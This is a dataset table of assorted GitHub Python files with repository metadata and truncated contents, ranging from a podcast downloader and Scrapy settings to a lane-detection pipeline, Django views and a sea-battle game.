blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 213
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 246
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
93ba3a4b784d03ef3ef4baf70c11532d8efeb828 | 2eec21d2f54558fde86f613238057dcb31c6602d | /podget/views.py | 2d39cc6856f21a07547c273151cd461f69fa983a | [] | no_license | sonirico/podcastmanager | 2b268381123d03ae6c10cd60532c89a07aae724f | 757403edfd1cfb9e2519480fe8598696317dc26d | refs/heads/master | 2021-06-03T20:34:23.703465 | 2018-12-07T20:28:53 | 2018-12-07T20:28:53 | 27,540,498 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 11,449 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import logging
import os
import urllib2
import dateutil.parser
import sys
from datetime import datetime
import time
from urlgrabber.grabber import URLGrabber
import feedparser
from mutagen.mp3 import MP3
from mutagen.mp4 import MP4
from django.db import IntegrityError
fr... | [
"marsanben92@hotmail.com"
] | marsanben92@hotmail.com |
8735c183d7c1a26429d65045691dbf40ecd16b96 | e83677957525b9968838b9c8fda4a1722899b3a3 | /data_structures.py | f3a344a29cc4c45333bab505ceb545ca889a8127 | [] | no_license | sandverm/python | 8866fe1a2936de0451f7f6ca2fe3754494bbb3b8 | 31e5f3df786af350cb276622e9a4a246d2f139f1 | refs/heads/master | 2022-09-28T19:34:36.928083 | 2020-06-07T00:54:14 | 2020-06-07T00:54:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,804 | py | # -*- coding: utf-8 -*-
"""
Spyder Editor
This is a temporary script file.
"""
#class Node:
# def __init__(self, data, next=None):
# self.data = data
# self.next = next;
#
# def insert(self, data):
# self.next=Node(data, self.next)
#
# def print(self):
# node=self
# ... | [
"kv.sandeep1807@gmail.com"
] | kv.sandeep1807@gmail.com |
3c144d293ea5817d6dcb53a8bb8fda62b4810fe2 | e5a40e8c1bae8a00cc42922785f202af1f7f0b92 | /examples/RBM_MNIST_small.py | 0886e0f4812d1ef43a419c717180575a8bd77795 | [] | no_license | joseppinilla/PyDeep | c257137a1be9e76a17179ebaf0878172696641f3 | 735392f76db70f52305c673e861c3f5351bf42aa | refs/heads/master | 2020-09-24T08:39:48.268514 | 2019-12-16T21:47:15 | 2019-12-16T21:47:15 | 225,716,635 | 1 | 1 | null | 2019-12-03T21:11:35 | 2019-12-03T21:11:34 | null | UTF-8 | Python | false | false | 5,578 | py | """ Example using a small BB-RBMs on the MNIST handwritten digit database.
:Version:
1.1.0
:Date:
20.04.2017
:Author:
Jan Melchior
:Contact:
JanMelchior@gmx.de
:License:
Copyright (C) 2017 Jan Melchior
This file is part of the Python library PyD... | [
"JanMelchior@gmx.de"
] | JanMelchior@gmx.de |
73be42895a7b344380c5f4ed58ed9bb773238a68 | 3e3a37c25f48dce7d1713a9d807981404621f94a | /probe/models/companies.py | 1e52c93dad65250282a99679d45a8f1b27fb1e4c | [
"MIT"
] | permissive | loanzen/probe-py | ea2a67a425c9b56688b4a59c5d6aa28d4f954838 | b5dbb0dba26c9b451e9bf1dec9e1aaa7f42d75a5 | refs/heads/master | 2021-01-10T08:10:25.982041 | 2016-03-17T06:01:17 | 2016-03-17T06:03:22 | 52,531,052 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,382 | py | # coding: utf-8
"""
Copyright 2015 SmartBear Software
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applica... | [
"suraj.p.arya@gmail.com"
] | suraj.p.arya@gmail.com |
c0bcd3547d4b07f9b3d026a890df854d5bde1879 | dc053a0d9714b775a189892f031a29c84b391396 | /problem.py | f1cda9457269dcaa21580f3a1d1c058d88dc9562 | [] | no_license | hwadhwani77/python_lab | 808518d432a168daa68997a884a10371a85810fb | 2d1612638a4acc7794db0ce401a5cc1898eca687 | refs/heads/master | 2020-06-24T21:10:39.993314 | 2019-09-06T22:52:09 | 2019-09-06T22:52:09 | 199,091,162 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,323 | py | def closest_sum_pair(a1, a2, target):
a1_sorted = sorted(a1)
a2_sorted = sorted(a2)
i = 0
j = len(a2_sorted) - 1
smallest_diff = abs(a1_sorted[0] + a2_sorted[0] - target)
closest_pair = (a1_sorted[0], a2_sorted[0])
while i < len(a1_sorted) and j >= 0:
v1 = a1_sorted[i]
v2 = a... | [
"Hitesh.Wadhwani@dhcs.ca.gov"
] | Hitesh.Wadhwani@dhcs.ca.gov |
8f7c81fc6e32c568c74cbcfed2066a24d298c176 | 3cf8e9dd56f8b114b889a9c81fc908f09d0a3853 | /FirstSample/Phone/Iphone.py | 41022336a8c68bc36ae6cdea0b07982a3ba7cd50 | [] | no_license | JVaghela-TBA/PythonSecond | abef30dc8ff9e027337fcea90988dd0584334ac4 | af81d7efa105f59cc36eb0eba02a332fbfbe1428 | refs/heads/master | 2021-01-01T17:48:42.110424 | 2017-07-24T07:25:03 | 2017-07-24T07:25:03 | 98,160,352 | 0 | 0 | null | 2017-07-24T07:24:35 | 2017-07-24T07:09:46 | Python | UTF-8 | Python | false | false | 344 | py | class IPhone:
def __init__(self, model,price):
self.model=model;
self.price=price;
def __del__(self):
class_name=self.__class__.__name__;
print("Destroyed Object : "+class_name);
def print(self):
print("\tModel : "+self.model);
print("\tPrice : "+str(... | [
"jvaghela@thebeastapps.com"
] | jvaghela@thebeastapps.com |
6e063244c50a8acfc46ce2c093fd38eb7076fbe9 | ad8d09b9b9bbb10000e2d85967131f4d98ccf29a | /info2soft/ha/__init__.py | 13938ebd25a9dafe9ee4cede178f3495bf8f646a | [] | no_license | info2soft/i2up-python-sdk | 4a5d7aaf9be4ac7ef2a4077dbf0f88480a04f563 | de51b79cf4976bfe76e84e42f7bd56ae5fb2cfd1 | refs/heads/master | 2021-06-14T09:00:09.131098 | 2020-10-22T09:26:24 | 2020-10-22T09:26:24 | 165,017,349 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 43 | py | from .v20200724 import Cluster as haCluster | [
"chengl@info2soft.com"
] | chengl@info2soft.com |
48ac910f1307192e511c3fada35bd627f5bfab99 | 706b84b42094d6f9d53da86838d7a2a0cd3c7614 | /sp/settings.py | 42da1638d1febfecff41175d59d5098db8026932 | [] | no_license | xiaoyuge16/scrapylearn | 4acb7dba9e1fe6a92a8b61db3a6e985319f6ca4c | e17d59a275c9fe6d6d0dfd66b596ea34bcb7d076 | refs/heads/master | 2020-09-07T11:17:36.553314 | 2017-06-15T09:51:28 | 2017-06-15T09:51:28 | 94,394,784 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,088 | py | # -*- coding: utf-8 -*-
# Scrapy settings for sp project
#
# For simplicity, this file contains only settings considered important or
# commonly used. You can find more settings consulting the documentation:
#
# http://doc.scrapy.org/en/latest/topics/settings.html
# http://scrapy.readthedocs.org/en/latest/topi... | [
"862558909@qq.com"
] | 862558909@qq.com |
36b4296974abc84d722907fcf92bc9922a7b4e4a | c2498b2e8935fb262c38c9d0343b73f8d724213c | /ProblemSet3/ps34.py | db1ebd89449149c01e5b7cec872818d8fba22a75 | [] | no_license | arxprimoris/6001 | d0dd5ce3941063a411ecdba4c4591355de47d45b | 4d5f33054c8ba0b3a040aec8796c8eef446940a0 | refs/heads/master | 2016-09-06T10:40:03.002200 | 2014-11-21T00:52:21 | 2014-11-21T00:52:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 775 | py | def isWordGuessed(secretWord, lettersGuessed):
for character in secretWord:
if character not in lettersGuessed:
return False
return True
def getGuessedWord(secretWord, lettersGuessed):
guessedWord = ""
for character in secretWord:
if character not in lettersGuessed:
guessedWord += "_"
else:
guessedW... | [
"tom@arxprimoris.net"
] | tom@arxprimoris.net |
0ea3d32e6a432c417f64784a7fbd23cec413726f | b60c36f211aeb963037f1b988c3d09f20344c7b7 | /session2/Homework/newline.py | 8065ea67491523a7d29e053ba01a840304426b23 | [] | no_license | willabelkane1906/lekhanhlinh-fundamental-c4e21 | fe1f6bd1aad6534e07d5cbc3c1c8ceccc4b37098 | e983c06ad39bbf85a9fa3709d1f3aa2a05fc49d6 | refs/heads/master | 2020-03-26T20:06:14.772094 | 2018-09-18T12:49:50 | 2018-09-18T12:49:50 | 145,304,765 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 85 | py | print("Hello", end =" ")
print(",my name", end =" ")
print("is B-max", end =" ")
| [
"noreply@github.com"
] | willabelkane1906.noreply@github.com |
762fdcb06993c585bccdeafe0b6def84c4ed71d6 | 1b76a36eb6d5788a6c76b8c602dd946e65346650 | /main.py | ac2e0cf4a5496b005c98ff77a7b0a1c1f0cbc1b4 | [] | no_license | mgermino/DWTConvert | 9d1d2e11b3315f665001e8a566c41a59819336aa | 00b665a588eade2d2c19882c29e27f1066de3c67 | refs/heads/master | 2020-12-24T15:49:37.029142 | 2012-08-09T18:16:06 | 2012-08-09T18:16:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 34,537 | py | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'main.ui'
#
# Created: Thu Jun 14 11:39:33 2012
# by: PyQt4 UI code generator 4.9.1
#
# WARNING! All changes made in this file will be lost!
from PyQt4 import QtCore, QtGui
from PyQt4 import *
try:
_fromUtf8 = QtCore.QString.fromUt... | [
"michael.germino@gmail.com"
] | michael.germino@gmail.com |
87a585633a5d7a1a6c8b72d391727bdf5885c2f4 | e016b14758a59a8f7571ddc7f75282c656e2178e | /awaazapp/views/article.py | 7cc7cdd9eda072e7102e49df9f04d316737b4937 | [] | no_license | rajakash050/Project-Creation-Tool-in-Django | d109df68ccd63b6e670c171ca0d76b1c4d7ffba9 | 2253e4daae0f6ad9f57f3d31712aa4b005b3f516 | refs/heads/master | 2022-10-09T13:53:45.258284 | 2020-06-01T20:04:01 | 2020-06-01T20:04:01 | 268,366,748 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,941 | py | # -*- coding: utf-8 -*-
from django.shortcuts import redirect
from django.shortcuts import render
from django.http import Http404,HttpResponse, HttpResponseBadRequest
from django.contrib.auth.models import User
from awaazapp.common.db import query, getquery
import simplejson
import json
import projectname.settings as... | [
"rajaakash1994@gmail.com"
] | rajaakash1994@gmail.com |
9eca6309b995319e9f16d79b1ea5513745bf03d8 | 3261cbca4a8ac2bbfd0e72dc4e21ff63b2016ab2 | /myapp/migrations/0008_auto_20210611_0749.py | 75df199801a696cd75a2bfdba65f60cd497adc36 | [] | no_license | Nishitsuthar/Django-CRUD | e31086f834762521d50f47f2d2c520e4944aef57 | a84f429cb835f44682b53e30891aa6375369bd8f | refs/heads/main | 2023-05-27T10:14:17.832206 | 2021-06-13T17:15:16 | 2021-06-13T17:15:16 | 375,987,785 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 763 | py | # Generated by Django 3.2.3 on 2021-06-11 07:49
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('myapp', '0007_auto_20210611_0731'),
]
operations = [
migrations.CreateModel(
name='AddData',
fields=[
... | [
"nishitsuthar123@gmail.com"
] | nishitsuthar123@gmail.com |
d2e7091ee4d9e58e5d8ff8e416f1ef6483e5ea80 | eea01a7a4625b0ffada7f5ea9909537f159a706e | /hardware/opentrons_hardware/firmware_bindings/messages/payloads.py | 223a929c942dffb18dcae8331ee3f4f04cfd0bf4 | [
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | XifanRD/opentrons | b9fe114232fba26d789a9c4cf24b6ec6338134dc | d02dc6f77c40d85daa1c37f2073e4672e5f5f445 | refs/heads/edge | 2023-07-09T06:43:13.526571 | 2023-06-30T01:12:18 | 2023-06-30T01:12:18 | 207,443,994 | 0 | 0 | Apache-2.0 | 2019-12-19T09:41:37 | 2019-09-10T02:05:43 | null | UTF-8 | Python | false | false | 17,246 | py | """Payloads of can bus messages."""
# TODO (amit, 2022-01-26): Figure out why using annotations import ruins
# dataclass fields interpretation.
# from __future__ import annotations
from dataclasses import dataclass, field, asdict
from . import message_definitions
from typing import Iterator, List
from .fields import... | [
"noreply@github.com"
] | XifanRD.noreply@github.com |
553f47f3e9a3a68e78a85c398c0ac121c1b91812 | 94230dd5626a0a254b7ff84c75c1da776eea9ed3 | /SeaBattle.py | 727fc511ecc2c439864ac4f935bda611172c13b3 | [] | no_license | pten4uk/SkillFactory | e10e1ce9250b3879af015e6be740b61e7cbd8c01 | b729c0e1f48ce520cbad2bb152e7ec0e6c4e0f01 | refs/heads/master | 2023-07-14T19:02:05.559846 | 2021-08-07T15:18:39 | 2021-08-07T15:18:39 | 380,212,216 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,272 | py | from random import randint
class BoardException(Exception):
pass
class BoardOutException(BoardException):
def __str__(self):
return 'Вы пытаетесь выстрелить за пределы доски!'
class BoardUsedException(BoardException):
def __str__(self):
return 'Вы уже стреляли в эту клетку!'
... | [
"noreply@github.com"
] | pten4uk.noreply@github.com |
9bbef6a515588128553d54aaef6182838e1f478b | fd0b98c5f2c3accac274fd2a914b5d8714caf059 | /bLab/urls.py | 7fb0ad3c432532a9855dfec2bc5527ce4c0bec47 | [] | no_license | csharpe0691/BalanceLab2 | e53a885e9eecd78667ebac204eb854d420844024 | a45dc7d29aa7fd80fdaeb6db70e48abb785c5b84 | refs/heads/master | 2020-11-29T15:21:41.376706 | 2017-04-06T21:11:40 | 2017-04-06T21:11:40 | 87,483,549 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 547 | py | from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^loginpage/', views.loginpage, name='login page'),
url(r'^selector/', views.selector, name='selector'),
url(r'^single_patient_search/', views.single_patient_search, name='single_patient_search'),
url(r'^single_patient_BR/', view... | [
"css@sharpe.com"
] | css@sharpe.com |
ab0a941410dac6aa32f28e272e64bd732c1ef4af | 93dd86c8d0eceaee8276a5cafe8c0bfee2a315d3 | /python/paddle/fluid/tests/unittests/test_input_spec.py | e329a37488a2cb8234532cd0a9beb7a1a25e72a6 | [
"Apache-2.0"
] | permissive | hutuxian/Paddle | f8b7693bccc6d56887164c1de0b6f6e91cffaae8 | a1b640bc66a5cc9583de503e7406aeba67565e8d | refs/heads/develop | 2023-08-29T19:36:45.382455 | 2020-09-09T09:19:07 | 2020-09-09T09:19:07 | 164,977,763 | 8 | 27 | Apache-2.0 | 2023-06-16T09:47:39 | 2019-01-10T02:50:31 | Python | UTF-8 | Python | false | false | 4,615 | py | # Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | [
"noreply@github.com"
] | hutuxian.noreply@github.com |
397cf571acca07b416ec2a0a07ea4927a1b9cd4a | 7c53de51e70c919f96f881d44b1a9261bb10c995 | /A2/q2.py | 8fa1f3c940e18f3cd1bc2c06ff5792ba3cbf24fd | [] | no_license | tianao-meng/Pattern-Recognition | 0bcc2ae129e26c0c3a27e5994ba2e3be430a2336 | 23313a57bae508729e75455b9510c022d7e92e49 | refs/heads/master | 2022-12-03T08:59:16.902424 | 2020-08-19T06:55:48 | 2020-08-19T06:55:48 | 288,629,945 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 60,079 | py | import numpy as np
import copy
#atribute_num means node
#atribute_values is the list of the value of the feature, eg. [windy, rainy..]
#children is the list of subtree, each index respond to the relevant value of the atribute
#leafvalue is a bool, indicate whether the node is leaf
class DC:
def __init__(self, atr... | [
"t5meng@uwaterloo.ca"
] | t5meng@uwaterloo.ca |
8c3b9c5c64949bdbec682c0fe707424fd4d38b21 | e891f0d7e6915eeee6ec4031486d6b99d71cfd9e | /mysite/settings.py | ba5b0721f00459c626c60bdd9327d74b00628f49 | [] | no_license | AnnaMJ/my_first_blog | 9bb419ad6f29965702932364ae0e1460450e7925 | 1c0fef2e193d885c7216a0b289706fd9439af417 | refs/heads/master | 2016-09-01T12:01:11.325839 | 2015-11-13T17:49:08 | 2015-11-13T17:49:08 | 46,117,294 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,713 | py | """
Django settings for mysite project.
Generated by 'django-admin startproject' using Django 1.8.6.
For more information on this file, see
https://docs.djangoproject.com/en/1.8/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.8/ref/settings/
"""
# Build paths... | [
"anna.jalcovikova@gmail.com"
] | anna.jalcovikova@gmail.com |
72fb756519039e82a5fbae41be8f6de109a4d2f2 | 5c8f2f6dc99a79f0b90503e97b54f36c97d45a7c | /CH3/echoserver.py | 47231c31c73dbfb97add01e5538c80f16ccea546 | [] | no_license | killer1278/python-network | a50474c4b9bcd9250b4b8ae4a105eb2ad4b0534d | 8e2b59b20b50be61e8b19d51157fad36375c5911 | refs/heads/master | 2021-04-18T19:42:41.095295 | 2018-04-08T13:53:56 | 2018-04-08T13:53:56 | 126,361,323 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 918 | py | #! /usr/bin/env python3
# Echo Server - Chapter 3 - echoserver.py
import socket, traceback
host =''
port = 51423
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((host,port))
s.listen(1)
while 1:
try:
clientsock, clientaddr = s.accept()
... | [
"noreply@github.com"
] | killer1278.noreply@github.com |
143c5d476797d403b9afd3d0d38b6752da776dad | 5b7be576241c82fde55f80b899e2121ad378e229 | /script/get_new_version_and_config.py | 4049a08e8b588b4e5aaedc2c2ce1cad49757636e | [] | no_license | Odinidoer/Annotation_GO.KEGG.COG | ce2c260298964c4c8cbbdea366f870a5721df4da | 61bf56248812eb7e4bbe1d2c1e6806abc6655625 | refs/heads/master | 2021-01-15T17:41:24.941019 | 2017-11-08T05:12:26 | 2017-11-08T05:12:26 | 99,750,159 | 12 | 6 | null | null | null | null | UTF-8 | Python | false | false | 1,976 | py | #!/usr/bin/env python
#coding=utf-8
#20170830
#yanjun
import os
import time
#获取当前时间和路径
now_time = time.strftime("%Y-%m-%d-%H-%M-%S",time.localtime())
now_dir = os.getcwd()
#创建新的DB文件夹
up_dir = os.path.split(now_dir)[0]
new_dir = '/'.join([up_dir,'DB',now_time])
os.mkdir(new_dir)
def work_new():
#新建config.ini文件
wi... | [
"1031091157@qq.com"
] | 1031091157@qq.com |
c2674f4fdf239552df98e1eefbc4f0a2afc7ff77 | 2a4fad3c44d1380cdc1b0b03122a636bc27874b9 | /src/AniChou/services/mal.py | d8e62bea341a7b0311cb6c6feb5e54be44692550 | [] | no_license | bloodcurdle/anichou | de1f95f7522ed4daaa298fc6f78f8ffefb04e64e | 748bc19f8ddaf6427f25d2f4e3d2087c02c8fccc | refs/heads/master | 2021-06-02T08:00:00.345074 | 2015-01-16T17:08:32 | 2015-01-16T17:08:32 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,516 | py | # -*- coding: utf-8 -*-
import base64
import json
import re
import urlparse
import urllib
import BeautifulSoup
from datetime import date, datetime
from AniChou.db.data import LOCAL_STATUS_R, LOCAL_TYPE_R, LOCAL_AIR_R
from AniChou.services.default import DefaultService
from AniChou.services.data import mal as data
c... | [
"anthony@adsorbtion.org"
] | anthony@adsorbtion.org |
074ff09f2382c621350c6018bd81f9fb41804507 | 4f8dd78361ffb79b6c97124cf49789c85ed49c8a | /venv/Scripts/easy_install-3.8-script.py | ea545f6058d085db9cb8c4ba88c0f16860c348a7 | [] | no_license | KulaMarcin/HackerRankPythonSolutions | 2600b0c953235db1ff0218a6f8f882792fcff907 | d4281320bee3b85eeed444f273b5b768e668e2aa | refs/heads/master | 2021-01-26T03:40:51.057170 | 2020-02-26T15:20:38 | 2020-02-26T15:20:38 | 243,294,287 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 466 | py | #!C:\Projekty\Python_HackerRank\PythonHackerRank\venv\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==40.8.0','console_scripts','easy_install-3.8'
__requires__ = 'setuptools==40.8.0'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-scr... | [
"57400841+KulaMarcin@users.noreply.github.com"
] | 57400841+KulaMarcin@users.noreply.github.com |
af3911e957afbfa05d9abefd9a1398b4e98e9649 | 3b39b1d2d6edb996e9ef49250b9c0c229e3e0401 | /src/lane_detection_pipeline/run_full_pipeline.py | 7d9a067129267716bd55dfa24ee1cdf804e625ce | [
"MIT"
] | permissive | charlierance/Vehicle-Lane-Detection | b6996f5119ea6aca821c75a54716ee013351006d | 7c054ab1e424727dd09dc4d1e58933cbf232b406 | refs/heads/master | 2020-12-08T22:04:14.669477 | 2020-01-30T15:26:35 | 2020-01-30T15:26:35 | 233,108,093 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,148 | py | import cv2
import numpy as np
from moviepy.editor import VideoFileClip
from src.lane_detection_pipeline.image_processing_pipeline import \
ImageProcessingPipeline
from src.lane_detection_pipeline.lane_detection_pipeline import (LaneDetectionPipeline,
... | [
"charlierance3@gmail.com"
] | charlierance3@gmail.com |
c0763df85651bf995606858c098b7c1765cb2c47 | 357652ed2afa923b44d6b4cfbdd2dfe5fde9d2d7 | /lib_generation.py | 76f4276cf7a2479d87dc1128d304abb0cb1cc773 | [] | no_license | hkchae96/backdoor_attack_master | 2f47de0de85a0cc6c1661b67ddbef396b671db20 | ea3f78c2763b24f343f2c7a105ee8d650df34f3f | refs/heads/master | 2020-09-08T12:20:46.447101 | 2019-11-12T15:21:03 | 2019-11-12T15:21:03 | 221,131,666 | 1 | 0 | null | 2019-11-12T18:40:47 | 2019-11-12T04:44:05 | Python | UTF-8 | Python | false | false | 18,447 | py | from __future__ import print_function
import torch
import numpy as np
import torch.nn as nn
import torch.nn.functional as F
from torch.autograd import Variable
from scipy.spatial.distance import pdist, cdist, squareform
# lid of a batch of query points X
def mle_batch(data, batch, k):
'''
commpute lid score u... | [
"hkchae96@kaist.ac.kr"
] | hkchae96@kaist.ac.kr |
51e616e51e931fd86dabb8d7893a8226d10e3bb7 | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/nouns/_minion.py | 043f4450fe5016c580399725d455d2292bd254fe | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 382 | py |
#calss header
class _MINION():
def __init__(self,):
self.name = "MINION"
self.definitions = [u'a person who is not important and who has to do what another person of higher rank orders them to do: ']
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
self.specie = 'nouns'
... | [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
f82d8d91f0ede044ba96d12c88afc2a1ca82dff1 | 7c8501753388db6f6899d29ff917315b4c7c2e88 | /pro6.py | 430d307d86c2695c7fc8219eaaf5bf2a5acaf8bb | [] | no_license | Manivannan11/install-jenkins-on-aws-ec2 | d9c60ab60c7df896688255d9979c31b5b503c231 | 42767abcd14f031ce0d98ae21e90888069a2ccca | refs/heads/master | 2022-06-22T10:43:27.820653 | 2020-05-06T12:31:43 | 2020-05-06T12:31:43 | 254,705,538 | 0 | 0 | null | 2020-04-10T18:21:07 | 2020-04-10T18:21:06 | null | UTF-8 | Python | false | false | 150 | py | def countnum(n) :
num=1
for i in range(0,n):
for j in range(0,i+1):
print(num,end=' ')
num=num+1
print('\r')
n=5
countnum(n)
| [
"noreply@github.com"
] | Manivannan11.noreply@github.com |
f255b36dc1d9f5f067f53b60ba39304cd94ec7e2 | 730d9b6251cfb911250626b21c8476c30f5729c0 | /day01/code/2-urllib-request.py | 58f4620c254fed8907a38b3a0fabe550ea29420b | [] | no_license | Wuhuaxing2017/spider_notes | 7b6d6e9e26e97d9b67dda85fd4833f82ef793f58 | 69cb18e38f54c839e4d0ebaa7199f984dfbcf5da | refs/heads/master | 2020-03-19T08:09:51.723802 | 2018-06-05T14:32:46 | 2018-06-05T14:32:46 | 136,180,732 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,116 | py | import urllib
import urllib.request
url = 'http://www.qq.com/'
# 构造request发送请求
# 可以通过Request模仿浏览器
# 最初级的伪装,伪装成浏览器获取爬虫的数据
# 网络获取的数据,很多gzip,decode 会出问题,通过请求头的中字段'Accept-Encoding':''
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 S... | [
"Wuhuaxing2017@qq.com"
] | Wuhuaxing2017@qq.com |
cf01f1e148b59200162b21c0e689315de517efa4 | e8878773d36892c74d6bbe4c257a57e23fb9e7e8 | /backend/location/admin.py | 6988b9097daa65c15498009d314ee94c58f8cb9d | [] | no_license | crowdbotics-apps/logintest-29319 | 8831f9a4f85292518b794406c4082b7212b736a5 | 45e9ec4fa8fce8e04caa98e5bc13ebfed81baaf3 | refs/heads/master | 2023-06-30T11:25:57.766718 | 2021-08-01T17:19:28 | 2021-08-01T17:19:28 | 391,687,043 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 285 | py | from django.contrib import admin
from .models import TaskerLocation, MapLocation, CustomerLocation, TaskLocation
admin.site.register(MapLocation)
admin.site.register(TaskerLocation)
admin.site.register(CustomerLocation)
admin.site.register(TaskLocation)
# Register your models here.
| [
"team@crowdbotics.com"
] | team@crowdbotics.com |
d6e377404575ad9e9fc15052c3d6d6a66c4d8f81 | 26da564be5b20769ce8166041fc2580905d5bca6 | /chapter4/q33.py | f6f9983f2870413c38cab18960b05fab0fac1856 | [] | no_license | aha-oretama/nlp100 | 9abf2633c728ab03a62842110ef148edc222b757 | 3993489be542582bee3c56b0850dc68277784304 | refs/heads/master | 2020-05-14T06:40:16.942161 | 2019-09-24T15:46:20 | 2019-09-24T15:46:20 | 181,707,710 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 524 | py | '''
33. サ変名詞
サ変接続の名詞をすべて抽出せよ.
'''
# https://note.nkmk.me/python-list-index/
from q30 import parse_neko_text_list
list = parse_neko_text_list()
result = [item['surface'] for item in list if item['pos1'] == 'サ変接続' ]
#result2 = [(i, item) for i,item in enumerate(list) if item['base'] == '*\n' ]
'''
('——', '*\n')
頸筋
ht... | [
"sekine_y_529@msn.com"
] | sekine_y_529@msn.com |
a4f7b3400ea2eb6ae5dd8007e9a91a99254fae3c | b04108e4b9892f7a2b874e3437d4bd29784b4288 | /fluiddb/test/test_fluiddb.py | c52bd0c9ce819b5b56c85fefae25c6f4b633f0f6 | [
"Apache-2.0"
] | permissive | igorgue/fluiddb | c897a6a02107d828c9a874da153358bf1f706949 | f199c3460cbce7994c942f49672652babed8e10d | refs/heads/master | 2020-05-16T23:16:42.255322 | 2009-08-20T03:25:18 | 2009-08-20T03:25:18 | 282,238 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 405 | py | import fluiddb
import unittest
class FluiddbTest(unittest.TestCase):
def test_fluiddb_call(self):
"""this test will test fluiddb call"""
status, result = fluiddb.call('GET', '/objects', query='fluiddb/users/username = "igorgue"')
assert status == 200
assert result == {u'ids': [u'71d... | [
"igfgt1@gmail.com"
] | igfgt1@gmail.com |
658de4de25f891219241d561ec8ea7df8cf7369b | b05761d771bb5a85d39d370c649567c1ff3eb089 | /venv/lib/python3.10/site-packages/aiohttp/worker.py | deb68ced7f3cfc29dfc78cdc8d3e211d3f00629f | [] | no_license | JawshyJ/Coding_Practice | 88c49cab955eab04609ec1003b6b8c20f103fc06 | eb6b229d41aa49b1545af2120e6bee8e982adb41 | refs/heads/master | 2023-02-19T10:18:04.818542 | 2023-02-06T21:22:58 | 2023-02-06T21:22:58 | 247,788,631 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 96 | py | /home/runner/.cache/pip/pool/09/bc/75/2b25658a0bd66ba9237b48525e1763809d403912cdd6abbca89d0bcd24 | [
"37465112+JawshyJ@users.noreply.github.com"
] | 37465112+JawshyJ@users.noreply.github.com |
